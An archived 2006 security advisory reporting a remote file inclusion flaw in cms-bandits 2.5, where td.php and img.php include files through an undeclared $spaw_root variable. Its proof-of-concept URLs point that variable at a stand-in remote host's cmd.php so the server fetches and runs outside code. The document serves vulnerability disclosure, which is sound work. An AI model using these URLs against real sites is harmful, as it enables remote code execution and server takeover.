TUCoPS :: Web :: CMS / Portals :: b06-2826.htm

cms-bandits 2.5, Remote command execution
cms-bandits 2.5, Remote command execution
cms-bandits 2.5, Remote command execution



-----------------------------------------------------
Advisory id: FSA:006

Author:    Federico Fazzi
Date:      08/06/2006, 11:09
Sinthesis: cms-bandits 2.5, Remote command execution
Type:      high
Product: http://sourceforge.net/projects/cms-bandits 
Patch:     unavailable
-----------------------------------------------------


1) Description:

Error occured in td.php,

include $spaw_root.'class/util.class.php';
include $spaw_root.'class/lang.class.php';


Error occured in img.php,

include $spaw_root.'class/util.class.php';
include $spaw_root.'class/lang.class.php';

required register_global = On,
The users can include a remote file because
the $spaw_root is undeclare.

2) Proof of concept:

http://127.0.0.1/cms/dialogs/td.php?spaw_root=[cmd_with_final_slash] 
http://127.0.0.1/cms/dialogs/img.php?spaw_root=[cmd_with_final_slash] 
[cmd_with_final_slash] = http://example/cmd.php/ 
cmd.php = 

3) Solution:

sanitized the variable on img.php, td.php.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH